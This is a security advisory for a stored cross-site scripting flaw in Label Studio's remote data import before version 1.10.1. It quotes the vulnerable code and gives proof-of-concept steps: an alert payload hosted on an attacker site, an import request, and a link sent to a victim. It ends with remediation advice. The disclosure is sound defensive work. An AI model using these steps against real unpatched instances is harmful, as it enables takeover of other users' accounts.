GHSA-fq23-g58m-799r Cross-site Scripting Vulnerability on Data Import

• PyPI label-studio: < 1.10.1 → fixed in 1.10.1

Introduction This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.10.1` and was tested on version `1.9.2.post0`. Overview Label Studio had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Description The following code snippet in Label Studio showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL. ```python def tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1] response = ssrf_safe_get( url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={'Accept-Encoding': None} ) file_content = response.content check_tasks_max_file_size(int(response.headers['content-length'])) file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content)) if file_upload.format_could_be_tasks_list: could_be_tasks_list = True file_upload_ids.append(file_upload.id) tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids) except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list ``` 1. The file name that was set was retrieved from the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the following code snippet demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. ```python class UploadedFileResponse(generics.RetrieveAPIView): permission_classes = (IsAuthenticated,) @swagger_auto_schema(auto_schema=None) def get(self, *args, **kwargs): request = self.request filename = kwargs['filename'] # XXX needed, on windows os.path.join generates '\' which breaks FileUpload file = settings.UPLOAD_DIR + ('/' if not settings.UPLOAD_DIR.endswith('/') else '') + filename logger.debug(f'Fetch uploaded file by user {request.user} => {file}') file_upload = FileUpload.objects.filter(file=file).last() if not file_upload.has_permission(request.user): return Response(status=status.HTTP_403_FORBIDDEN) file = file_upload.file if file.storage.exists(file.name): content_type, encoding = mimetypes.guess_type(str(file.name)) content_type = content_type or 'application/octet-stream' return RangedFileResponse(request, file.open(mode='rb'), content_type=content_type) else: return Response(status=status.HTTP_404_NOT_FOUND) ``` 1. Determines the `Content-Type` based on the extension of the uploaded file by using `mimetypes.guess_type`. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited. Proof of Concept Below were the steps to recreate this issue: 1. Host the following HTML proof of concept (POC) script on an external website with the file extension `.html` that would be downloaded to the Label Studio website. ```html Data Import XSS alert(document.domain); ``` 2. Send the following `POST` request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the `{victim_host}` is the address and port of the victim Label Studio website (eg. `labelstudio.com:8080`), `{project_id}` is the ID of the project where the data would be imported into, `{cookies}` are session cookies and `{evil_site}` is the website hosting the malicious HTML file (named `xss.html` in the following example). ```http POST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1 Host: {victim_host} Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 43 Connection: close Cookie: {cookies} Pragma: no-cache Cache-Control: no-cache url=https://{evil_site}/xss.html ``` 3. To retrieve the downloaded file path could be retrieved by sending a `GET` request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]`, where `{download_id}` is the ID of the file download from the previous step. 4. Send your victim a link to `/data/{file_path}`, where `{file_path}` is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting `/data/upload/1/cfcfc340-xss.html`. Impact Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. Remediation Advice • For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy (documentation). • Restrict the allowed file extensions that could be downloaded. Discovered • August 2023, Alex Brown, elttam